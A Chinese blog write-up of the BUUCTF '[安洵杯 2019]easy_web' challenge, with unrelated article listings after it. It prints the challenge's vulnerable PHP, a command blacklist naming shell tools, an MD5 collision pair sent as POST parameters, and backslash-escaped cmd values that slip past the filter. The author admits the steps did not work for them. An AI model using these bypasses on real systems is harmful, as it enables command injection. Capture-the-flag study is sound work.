当前位置：首页 > article >正文

BUUCTF_[安洵杯 2019]easy_web（preg_match绕过/MD5强碰撞绕过/代码审计）

article 2026/5/7 6:48:02

打开靶场，出现下面的静态html页面，也没有找到什么有价值的信息。

查看页面源代码

在url里发现了img传参还有cmd

求img参数

这里先从img传参入手，这里我发现img传参好像是base64的样子

进行解码，解码之后还像是base64的样子再次进行解码

这个数好像是16进制的，进行16进制转换成字符串

这里利用这个原理，先将index.php16进制编码，然后进行两次base64编码

输入img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3，但是页面没反应，尝试Burp抓包，发送到重放器，在Burp上修改img的参数，发现类似base64的字符，尝试base64解码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi～ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>
<html>
<style>body{background:url(./bj.png)  no-repeat center center;background-size:cover;background-attachment:fixed;background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

php代码审计

1. 错误报告和字符编码设置

error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');

error_reporting(E_ALL || ~ E_NOTICE);：设置错误报告级别，表示报告除了 E_NOTICE 级别的所有错误。
header('content-type:text/html;charset=utf-8');：设置 HTTP 响应头，指定返回内容的类型为 HTML，字符编码为 UTF - 8。

2. 获取用户输入并进行重定向

$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');

$cmd = $_GET['cmd'];：从 GET 请求中获取 cmd 参数的值。
if 语句检查是否传递了 img 和 cmd 参数，如果没有传递，则使用 header 函数进行页面重定向，跳转到 index.php 并附带默认的 img 和空的 cmd 参数。

3. 处理图片文件路径

$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi～ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}

$file = hex2bin(base64_decode(base64_decode($_GET['img'])));：对 img 参数进行两次 Base64 解码，再进行十六进制解码，得到文件路径。
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);：使用正则表达式过滤文件路径，只保留字母、数字和点号，防止目录遍历等攻击。
if (preg_match("/flag/i", $file))：检查文件路径中是否包含 flag 字样，如果包含则显示一张图片并终止程序。
若不包含 flag，使用 file_get_contents 读取文件内容，进行 Base64 编码后以 data URI 的形式显示图片。

preg_replace
正则表达式函数，用于在字符串中执行搜索和替换操作。
语法: preg_replace(pattern, replacement, subject[, limit = -1[, count]])
- pattern ：要搜索的正则表达式模式。
- replacement ：用于替换匹配内容的字符串或回调函数。
- subject ：要进行搜索和替换的目标字符串或字符串数组。
- limit ：可选参数，指定最多替换的次数，默认 -1 表示无限制。
- count ：可选参数，用于存储实际替换的次数。

preg_match
用于执行正则表达式匹配的函数。
语法：preg_match(pattern, subject[, matches[, flags = 0[, offset = 0]]])
- pattern ：要匹配的正则表达式模式。
- subject ：要进行匹配操作的目标字符串。
- matches ：可选参数，用于存储匹配结果的数组。如果匹配成功， matches[0] 将包含完整的匹配文本， matches[1] 等将包含正则表达式中捕获组匹配的内容。
- flags ：可选参数，用于指定匹配的标志，常用的有 PREG_OFFSET_CAPTURE ，会使 matches 数组中的每个元素成为一个包含匹配文本和其在 subject 中偏移量的数组。
- offset ：可选参数，指定从 subject 字符串的哪个位置开始匹配，默认为0。

4. 处理命令执行（preg_match绕过，MD5强绕过）

echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}

输出 cmd 参数的值。
echo "<br>"中<br>表示换行。
使用正则表达式检查 cmd 参数是否包含危险字符或命令，如果包含则输出 forbid ~。
若不包含危险字符，检查 POST 请求中的 a 和 b 参数，要求它们的字符串形式不相等，但 MD5 哈希值相等。如果满足条件，则执行 cmd 参数中的命令并输出结果；否则输出 md5 is funny ~。

5. HTML 部分

<html>
<style>body{background:url(./bj.png)  no-repeat center center;background-size:cover;background-attachment:fixed;background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

设置页面的背景图片，使其居中显示、覆盖整个页面，并且固定背景。

思路

求cmd参数

cmd未知，如果要输出cmd，，，

1.POST 请求中的 a 和 b 参数，要求它们的字符串形式不相等，但 MD5 哈希值相等。

MD5 碰撞漏洞：代码依赖 MD5 哈希值的比较来决定是否执行命令，而 MD5 算法存在碰撞漏洞，攻击者可以找到两个不同的字符串，它们的 MD5 哈希值相同。
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))

2.绕过preg_match过滤函数包含的

命令过滤不彻底：虽然代码对 cmd 参数进行了过滤，但可能存在绕过的方法，例如使用其他未被过滤的命令或特殊字符组合。
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|$|$|\&[^\d]|@|\||\\$|\[|\]|{|}|$|$|-|<|>/i", $cmd))

MD5 是一种广泛使用的哈希函数，但它存在强碰撞和弱碰撞的问题

哈希碰撞

哈希函数是一种将任意长度的输入数据转换为固定长度输出（哈希值）的算法。理想情况下，不同的输入应该产生不同的哈希值，但由于哈希值的长度是固定的，而输入数据的可能性是无限的，所以必然会存在不同的输入产生相同哈希值的情况。

MD5 弱碰撞

找到一个与给定消息不同但哈希值相同的另一个消息。

MD5 强碰撞

强碰撞是指找到任意两个不同的消息m1和m2,使得它们的哈希值相同。与弱碰撞不同，强碰撞不需要预先给定一个消息。

方法

过滤函数是preg_match，使用/来进行绕过。

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))

使用了 (string) 强制类型转换，数组都被强制转换为了string(5) “Array”，数组绕过方法失效，所以要采用 MD5 强碰撞的方式来绕过此限制。

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

原理：原本payload字符串中含有多种空白符号，MD5加密后hash值相等(空白符号不影响md5值)。但是我们上传参数时会自动进行一次url解码，这样过后因为空白字符两个url就不相等了，从而成功绕过

改为POST请求，

（不清楚是哪里出问题了，，，按大佬的wp的步骤做，换了好几种方法，但响应不正确）

cmd传参处传入dir

cmd=l\s%20/

cmd=cat flag=>ca\t%20/f\l\a\g

（参数a,b的值的求法暂时没弄清楚）

参考链接：buuctf-[安洵杯 2019]easy_web(小宇特详解)

BUUCTF_[安洵杯 2019]easy_web（preg_match绕过/MD5强碰撞绕过/代码审计）

打开靶场，出现下面的静态html页面，也没有找到什么有价值的信息。查看页面源代码在url里发现了img传参还有cmd 求img参数这里先从img传参入手，这里我发现img传参好像是base64的样子进行解码，解码之后还像是base64的样子再次进…...

编程日记 2026/5/5 4:07:44

C基础寒假练习(4)

输入带空格的字符串，求单词个数、 #include <stdio.h> // 计算字符串长度的函数 size_t my_strlen(const char *str) {size_t len 0;while (str[len] ! \0) {len;}return len; }int main() {char str[100];printf("请输入一个字符串: ");fgets(…...

编程日记 2026/4/22 16:00:02

git error: invalid path

git clone GitHub - guanpengchn/awesome-books: :books: 开发者推荐阅读的书籍在windows上想把这个仓库拉取下来，发现本地git仓库创建但只有一个.git隐藏文件夹，其他文件都处于删除状态。问题： Cloning into awesome-books... remote:…...

编程日记 2026/2/11 11:54:48

MySQL 事务实现原理( 详解 )

MySQL 主要是通过: 锁、Redo Log、Undo Log、MVCC来实现事务事务的隔离性利用锁机制实现原子性、一致性和持久性由事务的 redo 日志和undo 日志来保证。 Redo Log(重做日志)：记录事务对数据库的所有修改，在崩溃时恢复未提交的更改，保证事务…...

编程日记 2026/5/3 2:50:39

git基础使用--1--版本控制的基本概念

文章目录 git基础使用--1--版本控制的基本概念1.版本控制的需求背景，即为啥需要版本控制2. 集中式版本控制SVN3. 分布式版本控制 Git4. SVN和Git的比较 git基础使用–1–版本控制的基本概念 1.版本控制的需求背景，即为啥需要版本控制先说啥叫版本&…...

编程日记 2026/4/21 2:46:37

Spring RESTful API 设计与实现

Spring RESTful API的设计与实现极大地提升了开发效率和系统可维护性，通过遵循RESTful设计原则，使得API结构清晰、行为一致，便于扩展和维护。它在构建微服务架构中扮演着核心角色，支持松耦合的通信，同时通过标准的HTTP协议和数据格式增强了系统的互操作性。结合Spring Sec…...

编程日记 2026/4/25 4:43:39

Unity飞行代码超仿真保姆级教程

本文使用Rigidbody控制飞机，基本不会穿模。效果飞行效果这是一条优雅的广告如果你也在开发飞机大战等类型的飞行游戏，欢迎在主页搜索博文并参考。搜索词：Unity游戏(Assault空对地打击)开发。脚本编写首先是完整代码。 using System.Co…...

编程日记 2026/5/6 19:03:10

【自学笔记】Git的重点知识点-持续更新

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档文章目录 Git基础知识Git高级操作与概念Git常用命令总结 Git基础知识 Git简介 Git是一种分布式版本控制系统，用于记录文件内容的改动，便于开发者追踪…...

编程日记 2026/2/18 11:13:41

力扣73矩阵置零

给定一个 m x n 的矩阵，如果一个元素为 0 ，则将其所在行和列的所有元素都设为 0 。请使用原地算法。输入：matrix [[1,1,1],[1,0,1],[1,1,1]] 输出：[[1,0,1],[0,0,0],[1,0,1]] 输入：matrix [[0,1,2,0],[3,4,5,2],[…...

编程日记 2026/5/5 10:20:19

登录认证（5）：过滤器：Filter

统一拦截上文我们提到（登录认证（4）：令牌技术），现在大部分项目都使用JWT令牌来进行会话跟踪，来完成登录功能。有了JWT令牌可以标识用户的登录状态，但是完整的登录逻辑如图所示&…...

编程日记 2026/5/4 5:32:35

python算法和数据结构刷题[1]：数组、矩阵、字符串

一画图二伪代码三写代码 LeetCode必刷100题：一份来自面试官的算法地图（题解持续更新中）-CSDN博客算法通关手册（LeetCode） | 算法通关手册（LeetCode） (itcharge.cn) 面试经典 150 题 - 学习计…...

编程日记 2026/5/5 7:01:29

详解u3d之AssetBundle

一.AssetBundle的概念 “AssetBundle”可以指两种不同但相关的东西。 1.1 AssetBundle指的是u3d在磁盘上生成的存放资源的目录目录包含两种类型文件(下文简称AB包)： 一个序列化文件，其中包含分解为各个对象并写入此单个文件的资源。资源文件&#x…...

编程日记 2026/5/5 2:01:14

接口测试通用测试用例

接口测试主要用于检测外部系统与系统之间以及内部各个子系统之间的交互点。测试的重点是检查数据的交换，传递和控制管理过程，以及系统间的相互逻辑依赖关系等。现在很多系统前后端架构是分离的，从安全层面来说，只依赖前段进行限…...

编程日记 2026/5/6 4:40:12

深入理解 C# 与.NET 框架

.NET学习资料 .NET学习资料 .NET学习资料一、引言在现代软件开发领域，C# 与.NET 框架是构建 Windows、Web、移动及云应用的强大工具。C# 作为一种面向对象的编程语言，而.NET 框架则是一个综合性的开发平台，它们紧密结合，为开…...

编程日记 2026/4/18 17:14:07

CSS 图像、媒体和表单元素的样式化指南

CSS 图像、媒体和表单元素的样式化指南 1. 替换元素：图像和视频1.1 调整图像大小示例代码：调整图像大小 1.2 使用 object-fit 控制图像显示示例代码：使用 object-fit 2. 布局中的替换元素示例代码：Grid 布局中的图像 3. 表单元素的…...

编程日记 2026/5/5 12:56:03

【BUUCTF杂项题】荷兰宽带数据泄露、九连环

一.荷兰宽带数据泄露打开发现是一个.bin为后缀的二进制文件，因为提示宽带数据泄露，考虑是宽带路由器方向的隐写补充：大多数现代路由器都可以让您备份一个文件路由器的配置文件，软件RouterPassView可以读取这个路由配置文件。用…...

编程日记 2026/5/5 6:15:55

Shell特殊状态变量以及常用内置变量总结

目录 1. 特殊的状态变量 1.1 $?（上一个命令的退出状态） 1.2 $$（当前进程的 PID） 1.3 $!（后台进程的 PID） 1.4 $_（上一条命令的最后一个参数） 2.常用shell内置变量 2.1 echo&…...

编程日记 2026/4/28 21:15:37

蓝桥杯思维训练营(三）

文章目录题目详解680.验证回文串 II30.魔塔游戏徒步旅行中的补给问题观光景点组合得分问题题目详解 680.验证回文串 II 680.验证回文串 II 思路分析：这个题目的关键就是，按照正常来判断对应位置是否相等，如果不相等，那么就判…...

编程日记 2026/5/5 8:43:42

基于RTOS的STM32游戏机

1.游戏机的主要功能所有游戏都来着B站JL单片机博主开源这款游戏机具备存档与继续游戏功能，允许玩家在任何时候退出当前游戏并保存进度，以便日后随时并继续之前的冒险。不仅如此，游戏机还支持多任务处理，玩家可以在退出当前游戏…...

编程日记 2026/5/5 5:26:17

Leetcode 3440. Reschedule Meetings for Maximum Free Time II

Leetcode 3440. Reschedule Meetings for Maximum Free Time II 1. 解题思路2. 代码实现题目链接：3440. Reschedule Meetings for Maximum Free Time II 1. 解题思路这一题某种意义上来说甚至是上一题Leetcode 3439的简化版本（关于这一题的解答可以…...

编程日记 2026/2/17 18:23:16

计算机网络——三种交换技术

目录电路交换——用于电话网络电路交换的优点： 电路交换的缺点： 报文交换——用于电报网络报文交换的优点： 报文交换的缺点： 分组交换——用于现代计算机网络分组交换的优点： 分组交换的缺点电路交换——…...

编程日记 2026/5/5 5:33:19

[ Spring ] Spring Boot Mybatis++ 2025

文章目录 StructureMyBatis Controller AbilitiesConfigure Plugins and RepositoriesApply Plugins and Add DependenciesMyBatis Spring PropertiesMyBatis ApplicationMyBatis BeansMyBatis MapperMyBatis Query Builder Structure this blog introduce 3 ways using mybat…...

编程日记 2026/2/21 19:27:20

求img参数

php代码审计

1. 错误报告和字符编码设置

2. 获取用户输入并进行重定向

3. 处理图片文件路径

4. 处理命令执行（preg_match绕过，MD5强绕过）

5. HTML 部分

思路

求cmd参数

哈希碰撞

MD5 弱碰撞

MD5 强碰撞

方法

相关文章：